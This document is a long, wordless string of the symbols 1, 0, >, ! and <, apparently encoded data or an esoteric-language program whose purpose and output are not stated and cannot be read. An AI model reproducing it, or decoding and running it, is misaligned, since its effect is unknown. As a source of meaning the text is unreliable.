1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1!<>1!1!1!1!1!1010>01>0>1>0>1!1>0>1!1!1!10110>10110>1!1!1!<>1>0>1!1!1>01010111>01>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1>01010111>01!1>0>1!1!1010>01>0>1!1!1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1!<>1!1!1!1!1!1010>01>0>1>0>1!1>0>1!1!1!10110>10110>1010>01>0>1>0>1!1!1!1010>01>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1!<>1!1!1>0>1!1!1!1!1>0>1>0>1!<>1!1!1!1!1!1010>01>0>10110>1!1!1!10110>10110>1!1>0>1>0>1!1>01010111>01>0>1!1>0>1!1!1!1!1>0>1!1>0><>1!1!1!1!1!1010>01>0>1>0>1!1>0>1!1!1!10110>10110>1!1!1!<>1!1!1!1>0>1!1010>01>0>1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1!1!<>1!1!<>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1010>01>0>1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1010>01>0>1>0>1!1>0>1!1>0>1!1!1!<>1!1>0>1!1>0>1!1!1010>01>0>1>0>10110>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1010>01>0>1!1>0>1>0>1!1>0><>1!10110>1!1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1010>01>0>1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1010>010110><>1!1!1!1!1>0>1!1!1!1!1!1010>01>0>1>0>1!1>0>1!1!1!<>1!1>0>1!1>0>1!1!1!1!1!1010>01>0>1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1010>01>0>1!1!<>1!1>0>1!1!1!1>0>1!<>10110>1!1010>01>0>10110>10110>10110>10110>10110>1!1>0>10110>10110>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!10110>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1!10110>1!1>0>10110>1!1!1!1>01010111>01!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!<>1!1>0>1!1!1>0>1!<>1!1!1!1>0>1>01010111>01!1!1!1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1010>01>0>1>01010111>01!1>0>1!10110>1!101101010111>010110>10110>10110>10110>10110>1!1>0>10110>10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!10110>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1010>01>0>1!1>0>1!1>0>1!1>0>1!1!1!<>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!<>1!1>0>1!1!<>1!1!101101010111>01!1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1010>01>0>1>0>1!1>0>1>0>10110>10110>1!1>0>1>01010111>01!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>01010111>01!1!1!1>0>1!1!1!1>0>10110>10110>10110>10110>10110>1!10110>10110>10110>1!1!1>0>10110>1!1!1!10110>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>101101010111>01!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!<>1!10110>1!1!<>1!1!101101010111>01!1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!<>1>0>1!1!1!1>0>10110>1!1!10110>10110>1!1>0>1!1!1!1!1!1!1!1010>01>0>1!1!10110>1!1>01010111>01!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!<>1!1!1!1>0>1!1>0><>1!1!1!1!1>0>1!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!10110>10110>1!1!1!1!1!1!1!1!1!1!1!<>1!<>1!1!1!1>0>1!1>0><>1!1!1!1!1>0>1!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!10110>10110>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1!<>1!1!1!1010>01>0>1!1>01010111>010110>101101010111>01!1!1!1!1>0>1>0>1!1!1010>01>0>1>0>1!<>1!1>0>1!1>0>1!1>01010111>01!1!1>0>1!1>0>1>0>1!1!1010>01>0>1>0>1!1!1!1!<>1!1>0><>1!1!1!1>0>1!1>0>1!<>1>0>1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!10110>10110>10110>10110>10110>10110>10110>10110>1!1>0>1!1!1!1!1>0>1!1!1!1!10110>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1!1!10110>1!1!1!1>0>1>0>1!1>01010111>01!1>0>1!1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1010>010110>1!<>1>0>1!1!1!1>0>1!1!1>01010111>01>0>1!1>0>1>0>1!1!1010>01>0>1!1!<>1>0>1!1!1!10110><>1>0>1!1>0>1>0>1!1010>01>0>1!1>0>1!<>1>0>1!1!1!1>0>1!1>0>1!1!1!1!1!1!10110>10110>10110>10110>10110>10110>10110>10110>1!1>0>1!1!1!1>0>1>0>1!1!1!1!10110>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1!1!10110>1!1!1!1>0>1>0>1!1>0><>1!1>0>1!1!1!1>0>1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1>0><>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1010>01>0>10110>1!1>0>1!1>01010111>01!1!1!1>0>1>01010111>01!1!1!1>0>1!1!1!10110>10110>10110>10110>10110>10110>10110>10110>1!1!1>0>1>0>10110>1!1!1!1!10110>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!<>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1010>01>0>1>0>10110>1!1!1>01010111>01!1!101101010111>01!1!1!1>0>1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1010>01>0>1!<>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1>01010111>01!1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>10110>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1!1!1!1!1!10110>1!1!1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1>0>10110>1!1!1>0>1!1!<>1!1!1>0>1>0>1!1!1>0>1!1!1>0>10110>1!1!1!1>0>1!1>0>1>0>10110>1!1!1!1!1>0>1>01010111>01!1!1!1>0>1!1!1!1!1>0>1!1>01010111>01>0>1!1>01010111>01!1>0>1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1010>01>0>1!1!1>0>1>0>1!1!10110>1!1!1>0>1>0><>1!1!1>0>1>0>1!1!1>0>1!1!1>0>10110>1!1!1>0>1>0>1!1>0>1>0>10110>1!1!1!1!1>0>1>01010111>01!1!1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1!1010>01>0>1!1!1!1>01010111>01!1>0>1>0>1!1!1!1!1!1!1010>01>0>1!10110>1!1>0>1!1!1!1!1!1!1!1!1010>01>0>1!1!1!10110>1!1!1!1!1!1!1!1010>01>0>1!1!1!10110>1!1!1!1!1!1!1010>010110>1!1>0>10110>1!1!1!1!1!1!1010>01>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1010>010110>1!1!1!1!1>0>1!1!1010>01010>01010>010110>1!1!1>0>1>0>1!1!1!1!1!1!1!1010>010110>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1010>01>0>10110>10110>1!1!1!1!1!1!1010>010110>1!1>0>10110>1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1>01010111>01!1!1!1>01010111>01>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!101101010111>01>0>1!1!1>01010111>01!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!10110>10110>1!1!1>0>1>01010111>01>0>1!1!1>01010111>01!1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1!10110>10110>1!1>0>1!1!1!1>0>1!1!1010>01>0>1!1>0>1>0>1!1010>01>0>1!1!<>1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!10110>1!1!1!<>1>0>1!1!1>0>1>0>1!1!1>0>1!1010>010110>10110>10110>10110>10110>10110>10110>10110>1!1>0>1!1!1!1>0>1!1!1!1!1!10110>1!1!1>0>1!1>0>1>01010111>01!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!10110>1!1!10110>10110>1!1>0>1!1!1!1!1!1!1!1!1010>010110>1!1!1>0>1>01010111>01!<>1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1010>01>0>1>0>1!1>0>1>0>101101010111>01!1!1!1!1>0>1!1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1!10110>10110>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1>0>1!1!1!1>0>1>0>101101010111>01!1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1!10110>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>101101010111>01!1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1!10110>10110>1!101101010111>010110>10110>10110>10110>10110>10110>10110>10110>1!1>0>1>0>1!1!1>0>1!1!1!1!10110>1!1!1>0>1!1>0>1>01010111>01!1>0>1>0>1!1!1!10110>1!10110>10110>1!1>0>1!1>0>1!1!1!1!10110>1!1!1!10110>10110>10110>10110>10110>10110>10110>10110>10110>1!1>0>1!1>0>1!1!1!1!10110>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1010>01>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>01010111>01!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!<>1!10110>1!<>1!1!1>0>1!1>01010111>01!1!1!1>01010111>01!1>01010111>01>0>1!1>0>1!1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0><>1>0>1!1>0>1!1>0>1>0>1!<>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!<>1!1>0>1!<>1>0>1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!10110>10110>10110>10110>10110>10110>10110>10110>1!1!1!1>0>10110>1!1!1!1!10110>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1010>01>0>1>0>1!1>0>1!1!1!1>0>1!10110>101101010111>01!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!10110>1!1!1!1!<>1!1!1!1!1>01010111>01!1!1!1>0>1!1!1!1>0>1>0>1!1>01010111>01!1>0>1!1!1!1!1!1!1010>01>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!10110>1!1!1>0>1>0>1!1>0>101101010111>01!1!1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1>0>101101010111>10111>01!1!1!1>0>1!1!1!1>0>1>0>1!1>01010111>010110>1!1!1!1>0>1!1!1>0>10110>10110>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>10110>1!1!1!1!1>0>1>0>1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!<>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1>01010111>01!1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!<>1!<>1!10110>1!10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1>01010111>01!1>0>1>0>1!1!1!1!1>0>1!1>01010111>01>0>1!1>0>1!1!1!<>10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1>01010111>01>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1010>01>0>1>0>1!1!1!1!1>01010111>01!1>0>1>0>1!1!1!1010>01010>01010>01>0>1>0>1!10110>1!1!1!1!1!1!1!1!1!1!1010>010110>1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1!1!1!1010>01>0>1!1!1>0>1!1>0>1!1!1!1!1!1!1!1010>01>0>1!1>0>1>0>10110>1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1!1!1!1!1010>01010>01010>01>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!<>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1>01010111>01>0>1!1!1>01010111>01!1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1!10110>10110>1!1!1!1>01010111>01>0>1!1!1>01010111>01!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!10110>10110>1!1>0>1!1!1!1>0>1!1010>01>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1010>010110>1!10110>1!1!1!1!1!1!1!1!10110>1!1!1!<>1>0>1!1!1>0>1>0>1!1!1>0>1!1010>010110>10110>10110>10110>10110>10110>10110>10110>1!1>0>1!1>0>1!1!1!1!1!1!1!10110>1!1!1!1>0>1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1010>01>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1>0><>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1010>01>0>1!10110>1!1!1>01010111>01!1!101101010111>01!1!1!1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1!101101010111>010110>10110>10110>10110>10110>10110>10110>10110>1!1!1!1!1>0>1!1!1!1!1!10110>1!1!1!1>0>1>01010111>01>0>1!1!1>0><>1>0>1!1!1!1!1>0>1>0>1!10110>10110>1!1>0>1!1>0>1!1!1>0>1!10110>1!1!1!10110>10110>10110>10110>10110>10110>10110>10110>1!1!1>0>1>0>1!1>0>1!1!1!1!1!10110>1!1!1!1>0>1>01010111>01>0>1!1!1>0>1!1!1!10110>1!1>0><>1!1!<>1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!101101010111>10111>01!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1010>010110>1!1!1!1!1!1!1!1!1!101101010111>01!1!1>0>1!1>0>1>0>1!1!1!1010>01>0>1!1!1!1!1!<>1!<>1!1!1!1!1>01010111>01>0>1!1!1>0>1!1010>01>0>1!1!1!1!1!1!1!10110>1!1>0>1!1!1>01010111>01!1!1!1>0>1!1>0>1!<>1>0>1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!10110>10110>10110>10110>10110>10110>10110>10110>1!1>0>1!1!1>0>1!1>0>1!1!1!1!10110>1!1!1!1>0>1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1010>01>0>1>0>1!1>0>1>0>1!10110>1!<>1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>10110>1!1!1!101101010111>01!1!1!1>0>1!1!1!1>0>1>0>1!1>01010111>01!1>0>1!1!1010>01>0>1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0><>1>0>10110>10110>10110>10110>10110>10110>10110>10110>1!1>0>1!1>0>1>0>1!1!1!1!10110>1!1!1!1>0>1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1010>01>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0><>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>10110>1!1!1!101101010111>01!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!<>1!1!1!1!1>0>1!1!1!1!1!1010>01>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>10110>10110>1!1>0>1!<>1!1!1>0>1!1!1!1>0>10110>1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1010>01>0>1!1!1!10110>1!1>0>1>0>1!1>0><>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>10110>1!1>0>1!1>0>1>0>10110><>1!1!1!1!1>0>1!1!1!1>01010111>01!1>0>1!1!10110>1!1>0>1!1>0>1!1!1!1>0>1>01010111>01>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!<>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1>01010111>01!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>10110>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>01010111>01>0>1!<>1!1>0>1!1>0>1!10110>1!1>0>1!1>0>1!1!1!1>0>1>01010111>01>0>1!1!1>0><>1>0>1!1!1!1!1>0>1!1>01010111>01>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!10110>1!1>0>1!1>0>1!1!1!1>0>1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!10110>10110>1!1>0>1>0>1!<>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1010>01>0>1!1>0>1>0>1!1>0>1!1>01010111>01!1!101101010111>01!1!1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1010>01>0>1!1!1!1!1>01010111>01!1>0>1>0>1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1010>01>0>10110>1!1>0>1!1!1!1!1!1!1!1!1010>01>0>10110>1!1>0>1!1!1!1!1!1!1010>01010>01010>01>0>1!1>0>1!1>0>1!1!1!1!1!1!1010>010110>1!10110>1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1!1!1!1!1!1010>01>0>1>0>10110>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1>01010111>01!1!1!1>0>1!1!1!1>0>10110>1!1!1>0>1!1>0>1>0>1!1>0>1!1>01010111>01!1!1!1!1>0>1>0>1!1!1>01010111>01!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!10110>10110>1!101101010111>01>0>1!1!1>01010111>01!1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1!10110>10110>1!1>0>1!1!1!1>0>1!1!1!1!1010>01>0>1>0>1!1010>01>0>1!1!<>1>0>1!1!1!1!1!1!1!<>1!1>0>1!1!1!<>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!10110>10110>10110>10110>10110>10110>10110>10110>10110>1!10110>1!1!1!1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1010>01>01010111>10111>01!1>0>1>0>1!1!1!1!1!1!1!1!1010>01010>01010>01010>01010>01010>01010>01010>010110>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1>01010111>01!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1!1!1!1>0>1!1!1!1>0><>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!10110>10110>1!1>0>1!1>0>1!1!1!1>0>10110>1!1!1!1>0>1>0>10110>10110>10110>10110>10110>10110>10110>10110>1!1!10110>1!1!1!1!10110>1!1!1!1!1>01010111>01>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1>0><1010111>01!1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!101101010111>01!1!1>0>1>0>1!1!1!1>0>1>0>101101010111>01>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1!1!1>0>1>0>1!1>0><>1!1!1>0>1>0>1!1>0>1>0>10110>1!1!1!1!1>0>1!1>0>1!<>1>0>1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0><>1!1>0>1!1!1!1010>010110>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1010>01>0>1!1!<>1>0>1!1!1!1>0>1!1>0><>1!1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1!1!1!1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1010>01>0>1!1!1!1>0>1!1>0>10110>1!1>0><>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>10110>1!1>0>1!1>0>1>0>10110>1!1!1!1!1>0>1>01010111>01!1!1!1>0>1!1!1!1>0>1!1!1>0>10110>10110>1!1>0>1!1>0>1!1!1!1!10110>1!1!1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1>0>1!1>0>1!1!1!1!1>01010111>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1010>01>0>10110>1!1>0>1!1>01010111>01!1!1>0>1!1>01010111>01!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1010>01>0>1!<>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1>01010111>01!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>10110>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>01010111>01>0>1!1!1!1!1!1!1!10110>1!1!1>0>10110>1!1>0>1!1>0>1!1!1!1!1>01010111>01>0>1!1!1>0>1!1!1!1!1>0>10110>1!1!1!1!1>0>1!1>01010111>01>0>1!1>0>1!1!1!1!1!1!1!1!1!1010>010110>1!1!1!1!1!1!1!1!1!1!1!1010>010110>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1010>01>0>10110>1!1!1!1!1010>01010>01010>010110>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1>0>1!1>0>1!1!1!1!1010>01010>01010>010110>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1!1!1!1>01010111>01!1!1!1>01010111>10111>01>0>1!1!1>0><>1>0>1!1!1!1!1>0>1>01010111>01>0>1!1!1>01010111>01!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!10110>10110>1!1>0>1!1>01010111>01>0>1!1!1>01010111>01!1!1!1!1010>01>0>1>0>1!1!1>0>1!1!1!10110>10110>1!1>0>1!1!1!1>0>1!1010>010110>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1>0>1>0>1!1!1!1!<>1!1!1!<>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!10110>10110>10110>10110>10110>10110>10110>10110>1!1!1!1!1>0>1>0>1!1!1!1!1!10110>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1010>01>0>1!<>1!1>0>1!10110>1!10110>1!1!1!1!1!10110>10110>10110>10110>10110>10110>10110>10110>1!1>0>1>0>10110>1!1!1!1!1!10110>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1010>01>0>1>0>1!10110>1!1!1!1>0>1>0>1!1>0>1!1>01010111>01!1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>101101010111>10111>01!1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1010>010110>1!1!1>0>1>0>1!1>0>1!1!101101010111>01!1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1>0>101101010111>10111>01!1!1!1>0>1!1!1!10110>10110>10110>10110>10110>10110>10110>10110>1!1!10110>1!1>0>1!1!1!1!10110>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>10110><><>1>0>1!1>0>1!1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0><>1>0>1!1>0>1!1!1!1>0><>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1!1>0><>1!1>0>1!<>1>0>1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>01010111>010110>10110>10110>10110>10110>10110>10110>10110>1!1!1!10110>1!1!1!1!10110>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1010>01>0>1>0>1!1>0>1>0>10110>1!1!1!1!1!1!<>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!<>1!1>0>1>01010111>01!1!1>0>1!1>01010111>01!1!1!1>0>1!1!1!1>0>1>0>1!1>01010111>01!1>0>1!1!1010>01>0>1>0>1!1>0>1!1!1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1!1010>01>0>1!1!<>1>0>1!1!1!1>0>1!1>0><>1!1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0><>1!1>0>1!1!1!1>0>1!1!1>0>10110>10110>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>10110>1!1!1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1>01010111>01>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!<>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1>01010111>01!1!1>0>1>0>1!